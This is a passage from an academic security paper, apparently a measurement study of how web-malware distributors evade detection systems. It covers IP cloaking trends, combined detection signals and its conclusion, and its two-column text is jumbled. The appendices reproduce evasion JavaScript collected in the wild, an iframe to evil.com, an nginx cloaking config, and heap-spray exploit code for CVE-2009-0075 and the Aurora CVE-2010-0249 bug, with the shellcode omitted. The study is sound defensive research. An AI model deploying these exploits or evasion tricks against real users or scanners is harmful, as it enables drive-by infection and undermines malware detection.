
01

01

01

01

01

01
0
2007-01 2007-07 2008-01 2008-07 2009-01 2009-07 2010-01 2010-07

Figure 15: The graph shows sites with Exploit and New Process
Figure 14: The graph shows how many compromised sites in- signals.
clude content from cloaking sites in Data Set II

6. MULTIFACETED MALWARE DETECTORS

As the results in Section 5 have shown, adversaries are actively
changing exploitation techniques to evade detection. These efforts
For an adversary, IP-based cloaking is simple to deploy and usually are not limited to any specific detection technique. In this section
requires only small changes to the web server’s configuration; see we consider the potential for a multi-faceted approach that lever-
Appendix B. To understand trends in IP cloaking, we computed ages a combination of signals from different detection systems. In
the number of sites that actively cloak against our scanners using the following, we analyze Data Set II and present pair-wise com-
data from Data Set II. As described in Section 4, this detection is
parisons between each of the four detection systems in the form of
built into our Domain Reputation pipeline, and involves testing for
stacked bar graphs. We refer to a positive output from a detection
content changes from different IP addresses. To measure cloaking system as a signal. The black and white bands denote the num-
in Data Set II, we aggregated the sites that we had discovered to ber of times one signal appeared on a site but not the other. The
cloak against our scanners, and counted how often resources from gray band denotes the number of times both signals appeared at the
those sites were included by pages in Data Set II. same time. Data is aggregated monthly by site over our four-year
Figure 14 shows the number of sites per month that include con-
measurement period.
tent from domains known to be cloaking. The graph peaks in Au-
Figure 15 demonstrates how Browser Emulation and VM hon-
gust 2009 at over 200, 000 sites infected by cloaking domains. That eypots can be combined to increase detection rates. We denote the
peak coincides with a large-scale attack, where thousands of sites signal output from the Browser Emulator as Exploit. In the case
were infected to redirect to gumblar.cn, which actively cloaked of VM detection we use the creation of new processes on the VM
our scanners.
as a signal labeled NewProcess. For example, in December, 2008,
Although the increase in the graph is partly due to improved de-
120, 000 sites had the NewProcess signal, 98, 000 had the Exploit
tection of cloaking domains in our system, we believe that it is
signal, and 88, 000 sites had both. Although both signals appear
representative of the general state of cloaking. In our operational together on a large fraction of sites, during some time periods, they
practice, we continuously monitor compromised web sites and the cover significantly different cases. In January 2009, Browser Emu-
malicious resources they include. In 2008, we discovered that some lation found 43, 000 sites that did not trigger a NewProcess signal.
malware domains no longer returned malicious payloads to our sys-
In June 2008, the NewProcess signal identified 68, 000 sites that
tem but still did so to users. As a result, we developed detection for
were missed by emulation. Over the entire time period both signals
cloaking. At the time of this writing, IP cloaking contributes signif- agreed 60.3% of the time. The Exploit signal triggered by itself
icantly to the overall number of malicious web sites found by our 9.3% of the time whereas the New Process signal occurred by it-
system. See Section 6 for a more detailed analysis. self 30.4% of the time. This indicates that neither signal suffices
Countermeasures. Our data indicates that IP-based cloaking has to provide good detection, but both can be used to complement one
drastically increased over the lifetime of our data collection. If an another.
adversary is suspected of cloaking against a set of known IP ad- Figures 16 and 17 compare both Exploit and NewProcess sig-
dresses, a detector can also initiate scans via a set of IP addresses nals to Anti-Virus signals labeled Virus. On average, AV signals
unknown to the adversary. Observed differences in these extra and Exploit signals intersect on 45.4% of the sites, although AV
scans likely indicates cloaking. It is important to rate-limit fetches signals appear on 54.4% of sites that do not have Exploit signals.
from the unknown set of IP addresses to limit their visibility to the On average, AV signals and NewProcess signals occur together on
adversary. A detector can then establish a feedback loop and build 57.3% of the sites. However, AV signals appear on 39.4% of sites
a classifier that leverages the cloaking data to identify pages that where we did not get any NewProcess signals. AV engines trigger
launch drive-by downloads. Instead of generating signals based independently on more sites in the data set. We investigated the
on the presence of a VM, Browser Emulator, or AV signals, it is causes of the excess AV signals and noticed that many were due to
possible to flag the page based on the inclusion of content from a AV signatures that flag web pages with resources, e.g., IFRAMEs,
cloaking domain. pointing to web-sites that match certain regular expression patterns,
 400000 400000
Exploit Only NewProcess Only
Exploit and Virus NewProcess and Virus
350000 Virus Only 350000 Virus Only

300000 300000
Unique sites per month

Unique sites per month

250000 250000

200000 200000

150000 150000

100000 100000

50000 50000

0 0
20

20 2-0

20 4-0

20 8-0

20 2-0

20 4-0

20 8-0

20 2-0

20 4-0

20 8-0

20 2-0

20 4-0

20

20 2-0

20 4-0

20 8-0

20 2-0

20 4-0

20 8-0

20 2-0

20 4-0

20 8-0

20 2-0

20 4-0
06

07

07

07

08

08

08

09

09

09

10

10

06

07

07

07

08

08

08

09

09

09

10

10
-1

-0

-0

-1

-0

-0

-1

-0

-0

-1

-0

-0

-1

-0

-0

-1

-0

-0

-1

-0

-0

-1

-0

-0
8-

8-
01

01
1

1
Figure 16: The graph shows sites with Exploit and Virus signals. Figure 17: The graph shows sites with New Process and Virus
signals.

regardless of the content served by these sites. In other cases, AV 600000

BadSignal Only
engines were flagging binary downloads delivered by social engi- BadSignal and Reputation
Reputation Only
neering and thus did not trigger any exploit signals. As discussed 500000
in Section 5.3, AV engines are susceptible to false positives in op-
erational settings, and thus cannot be solely relied upon to flag ma- Unique sites per month 400000
licious sites.
While each of the aforementioned detection technologies can be 300000
combined to improve web malware detection, they all remain sus-
ceptible to IP cloaking which prevents the classifiers from seeing 200000
malicious content. To illustrate the impact of cloaking we compare
the detection based on all the above signals combined versus de- 100000
tection based on domain reputation. The bars labeled BadSignal in
Figure 18 show how often an Exploit, NewProcess, or Virus signal 0
occurs on a site in a given month. We compare this to sites that in-
20

20

20

20

20

20

20

20

20

20

20

20
06

07

07

07

08

08

08

09

09

09

10

10
clude content from a site known to distribute malware labeled Rep-
-1

-0

-0

-1

-0

-0

-1

-0

-0

-1

-0

-0
2-

4-

8-

2-

4-

8-

2-

4-

8-

2-

4-

8-
01

01

01

01

01

01

01

01

01

01

01

01
utation. From 2007 through 2008, 7.21% of sites had only a bad
reputation signal. In 2009, this number increased to 36.5%, and
in 2010 it increased to 48.5%. Note that the dramatic increase in Figure 18: The graph shows sites with bad signals vs sites that
sites only detected by cloaking corresponds to the jump in cloaking include content from a site with bad reputation.
behavior in Figure 14. At the same time the number of sites with
only BadSignals remains low, which implies that our system is able
to boot strap classification of domains that cloak with only a small AV engines. In operational settings, AV Engines also suffer signifi-
amount of data. cantly from both false positives and false negatives. Finally, we see
a rise in IP cloaking to thwart content-based detection schemes.
7. CONCLUSION Despite evasive tactics, we show that adopting a multi-pronged
approach can improve detection rates. We hope that these observa-
Researchers have proposed numerous approaches for detecting tions will be useful to the research community. Furthermore, these
the ever-increasing number of web sites spreading malware via findings highlight important design considerations for operational
drive-by downloads. Adversaries have responded with a number systems. For example, data that is served to the general public
of techniques to bypass detection. This paper studies whether eva- might trade higher false negative rates for reduced false positives.
sive practices are effective, and whether they are being pursued at On the other hand, a private institution might tolerate higher false
a large scale. positive rates to improve protection. Furthermore, a system that
Our study focuses on the four most prevalent detections tech- serves more users might become a target of circumvention and thus
niques: Virtual Machine honeypots, Browser Emulation honey- need to devote extra effort to detect cloaking.
pots, Classification based on Domain Reputation, and Anti-Virus
Engines. We measure the extent to which evasion affects each of
these schemes by analyzing four years worth of data collected by 8. REFERENCES
Google SafeBrowsing infrastructure. Our experiments corroborate [1] M. Antonakakis, R. Perdisci, D. Dagon, W. Lee, and
our hypothesis that malware authors continue to pursue delivery N. Feamster. Building a Dynamic Reputation System for
mechanisms that can confuse different malware detection systems. DNS. In Proceedings of the 19th USENIX Security
We find that Social Engineering is growing and poses challenges to Symposium (August 2010).
VM-based honeypots. JavaScript obfuscation that interacts heavily [2] F. Chang, J. Dean, S. Ghemawat, W. Hsieh, D. Wallach,
with the DOM can be used to evade both Browser Emulators and M. Burrows, T. Chandra, A. Fikes, and R. Gruber. Bigtable:
 A distributed storage system for structured data. ACM honeymonkeys. In Proceedings of Network and Distributed
Transactions on Computer Systems (TOCS), 26(2):1–26, Systems Security Symposium, pages 35–49, 2006.
2008.
[3] M. Cova, C. Kruegel, and G. Vigna. Detection and analysis APPENDIX
of drive-by-download attacks and malicious JavaScript code.
In Proceedings of the 19th international conference on World A. ANALYSIS-RESISTANT JAVASCRIPT
wide web, pages 281–290. ACM, 2010. Here we provide examples of code from the wild that actively
[4] M. Felegyhazi, C. Kreibich, and V. Paxson. On the Potential try to evade browser emulators. The code has been deobfuscated
of Proactive Domain Blacklisting. In Proceedings of the 3rd for readability purposes. As discussed in Section 3, there are at
USENIX conference on Large-scale exploits and emergent least three different browser characteristics that can be tested before
threats: botnets, spyware, worms, and more, page 6. delivering a payload: JavaScript environment, parser capabilities,
USENIX Association, 2010. and the DOM.
[5] Google. V8 JavaScript Engine. JavaScript Environment. IE’s JavaScript environment is differ-
http://code.google.com/p/v8/. ent than those provided by other open source JavaScript engines.
[6] Microsoft. About Conditional Comments. For example, IE allows ; before a catch or finally clause in
http://msdn.microsoft.com/en-us/library/ JavaScript, whereas SpiderMonkey will report a parse error.
ms537512(v=vs.85).aspx. try{} ; catch(e) {} bad();
[7] Microsoft. Conditional Compilation (JavaScript). IE also supports case-insensitive access to ActiveX object proper-
http://msdn.microsoft.com/en-us/library/ ties in JavaScript.
121hztk3(v=vs.94).aspx.
var obj=new ActiveXObject(objName);
[8] Microsoft. Microsoft Security Bulletin MS06-014: obj.vAr=1; if (obj.VaR==1) bad();
Vulnerability in the Microsoft Data Access Components
(MDACS) Function Could Allow Code Execution., May Malicious web pages often identify emulators by testing that Ac-
tiveX creation returns sane values.
2006.
[9] A. Moshchuk, T. Bragin, D. Deville, S. Gribble, and H. Levy. try {new ActiveXObject("asdf")} catch(e) {bad()}
Spyproxy: Execution-based detection of malicious web
IE also supports the execScript method, which evaluates code
content. In Proceedings of 16th USENIX Security Symposium
within the global scope, whereas other engines do not.
on USENIX Security Symposium, pages 1–16. USENIX
Association, 2007. JavaScript and HTML Parsers. IE supports conditional compila-
tion in JavaScript [7], other browsers do not. Thus IE’s JavaScript
[10] A. Moshchuk, T. Bragin, S. Gribble, and H. Levy. A parser knows how to parse the following comment, and will gener-
crawler-based study of spyware in the web. In Proceedings of ate code that calls the function bad() only in the 32-bit version of
Network and Distributed Systems Security Symposium, 2006. IE.
[11] Mozilla. JavaScript:TraceMonkey. /* @cc_on
https://wiki.mozilla.org/JavaScript: @if (@_win32)
TraceMonkey. bad();
@end
[12] Mozilla. What is SpiderMonkey? @ */
http://www.mozilla.org/js/spidermonkey/.
IE also supports conditional parsing in its HTML parser. Condi-
[13] J. Nazario. PhoneyC: A virtual client honeypot. In tional comments allow IE to execute code contingent upon version
Proceedings of the 2nd USENIX conference on Large-scale numbers [6].
exploits and emergent threats: botnets, spyware, worms, and
more, page 6. USENIX Association, 2009. <!--[if IE 9]><iframe src=http://evil.com/</iframe><![endif]-->

[14] J. Oberheide, E. Cooke, and F. Jahanian. Cloudav: N-version Integration between the HTML parser and the scripting environ-
Antivirus in the Network Cloud. In Proceedings of the 17th ment may also be tested by examining the behavior of document.write.
conference on Security symposium, pages 91–106. USENIX The output of this call should be immediately handled by the parser,
Association, 2008. and any side effects should be immediately propagated to the JavaScript
environment.
[15] T. H. Project. Capture-hpc.
http://projects.honeynet.org/capture-hpc. document.write("<div id=d></div>")
if (d.tagName=="DIV") bad()
[16] N. Provos, P. Mavrommatis, M. A. Rajab, and F. Monrose.
All Your iFRAMEs Point to Us. In USENIX Security
The DOM. There are many ways in which the DOM can be probed
Symposium, pages 1–16, 2008.
for feature-completeness. The snippet from the figure below was
[17] N. Provos, D. McNamee, P. Mavrommatis, K. Wang, and found in the wild. It tests that the DOM implementation yields the
N. Modadugu. The Ghost in the Browser: Analysis of correct tree-like structure, even in the face of misnested close tags.
Web-based Malware. In Proceedings of the first USENIX It also verifies that the title variable is correctly exposed within
workshop on hot topics in Botnets (HotBots’07)., April 2007. the document object.
[18] M. A. Rajab, L. Ballard, P. Mavrommatis, N. Provos, and
X. Zhao. The Nocebo Effect on the Web: An Analysis of <html><head><title>split</title></head><body>
<b id="node" style="display:none;">999999qq
Fake Anti-Virus Distribution. In Proceedings of the 3rd <i>99999999qqf<i>rom<i>Ch<i>a</i>rC</i>o</i>
USENIX Workshop on Large-Scale Exploits and Emergent d</i>e</i>qq</i>ev</i>alqqwin<i>do</i>w</b>
Threats (LEET), April 2010. <script>
function nfc(node) {
[19] Y.-M. Wang, D. Beck, X. Jiang, R. Roussev, C. Verbowski, var r = "";
S. Chen, and S. King. Automated web patrol with strider for(var i=0; i<node.childNodes.length; i++) {
switch(node.childNodes[i].nodeType) {
 case 1: r+=nfc(node.childNodes[i]); break; D. THE “AURORA” EXPLOIT
case 3: r+=node.childNodes[i].nodeValue;
}
<html><head><script>
}
var evt = null;
return r;
// SKIPPED: Generate shellcode and the spray heap.
}
var a = new Array();
for (i = 0; i < 200; i++) {
var nf = nfc(node)[document.title]("qq");
a[i] = document.createElement("COMMENT");
</script>
a[i].data = "abcd";
<script>
}
window["cccevalccc".substr(3,4)]("var nf_window="+nf[4]);
var data = "qq10qq118qq97[...]";
function ev1(evt) {
evt = document.createEventObject(evt);
var data_array = data[document.title]("qq");
document.getElementById("handle").innerHTML = "";
var jscript = "";
window.setInterval(ev2, 50);
for (var i=1; i<data_array.length; i++)
}
jscript+=String[nf[2]](data_array[i]);
nf_window[nf[3]](jscript);
function ev2() {
var data = unescape(
"%u0a0a%u0a0a%u0a0a%u0a0a"
B. IP-BASED CLOAKING "%u0a0a%u0a0a%u0a0a%u0a0a");
nginx configuration file for disallowing requests from certain IP for (i = 0; i < a.length; i++)
addresses. a[i].data = data;
evt.srcElement;
user apache; }
worker_processes 2; </script></head><body>
<span id="handle"><img src="foo.gif" onload="ev1(event)" />
http { </span></body></html>
...

#//G
deny XXX.XXX.160.0/19; Code to exploit the bug described by CVE-2010-0249. Emulat-
deny XXX.XXX.0.0/20; ing this correctly requires a proper DOM implementation and event
deny XXX.XXX.64.0/19; model.
...

server {
listen 8080;
E. DOM FUNCTIONS
location / { This appendix provides the listing of functions and properties
proxy_pass http://xxxxx.com:4480; that we labeled during JavaScript tracing. For properties, we differ-
proxy_redirect off;
proxy_ignore_client_abort on;
entiate between read and write access, e.g. reading the innerHTML
proxy_set_header X-Real-IP $remote_addr; property is different than writing to it.
proxy_set_header Host $host;
proxy_buffers 100 50k; 0 addEventListener 17 hasAttribute
proxy_read_timeout 300; 1 appendChild 18 hasChildNodes
proxy_send_timeout 300; 2 attachEvent 19 innerHTML (read)
} 3 body (read) 20 innerHTML (write)
} 4 childNodes (read) 21 insertBefore
} 5 clearAttributes 22 lastChild (read)
6 createComment 23 nextSibling (write)
7 createElement 24 outerHTML (read)
C. EXPLOIT FOR CVE-2009-0075 8 createTextNode 25 outerHTML (write)
9 detachEvent 26 parentNode (read)
var sc = unescape("..."); // shellcode 10 documentElement (read) 27 previousSibling (read)
var mem = new Array(); 11 firstChild (read) 28 removeAttribute
var ls = 0x100000 - (sc.length * 2 + 0x01020); 12 getAttribute 29 removeChild
var b = unescape("%u0c0c%u0c0c"); 13 getElementById 30 removeEventListener
while (b.length < ls / 2) b += b; 14 getElementsByClassName 31 setAttribute
15 getElementsByName 32 text (read)
var lh = b.substring(0, ls / 2); 16 getElementsByTagName 33 text (write)
delete b;
for (i = 0; i < 0xc0; i++) mem[ i ] = lh + sc;

CollectGarbage();
var badsrc = unescape(
"%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var imgs = new Array();
for (var i = 0; i < 1000; i++)
imgs.push(document.createElement("img"));

obj1 = document.createElement("tbody");
obj1.click;
var obj2 = obj1.cloneNode();
obj1.clearAttributes();
obj1 = null;
CollectGarbage();
for (var i = 0; i < imgs.length; i++)
imgs[i].src = badsrc;
obj2.click;

Code to exploit the bug described by CVE-2009-0075.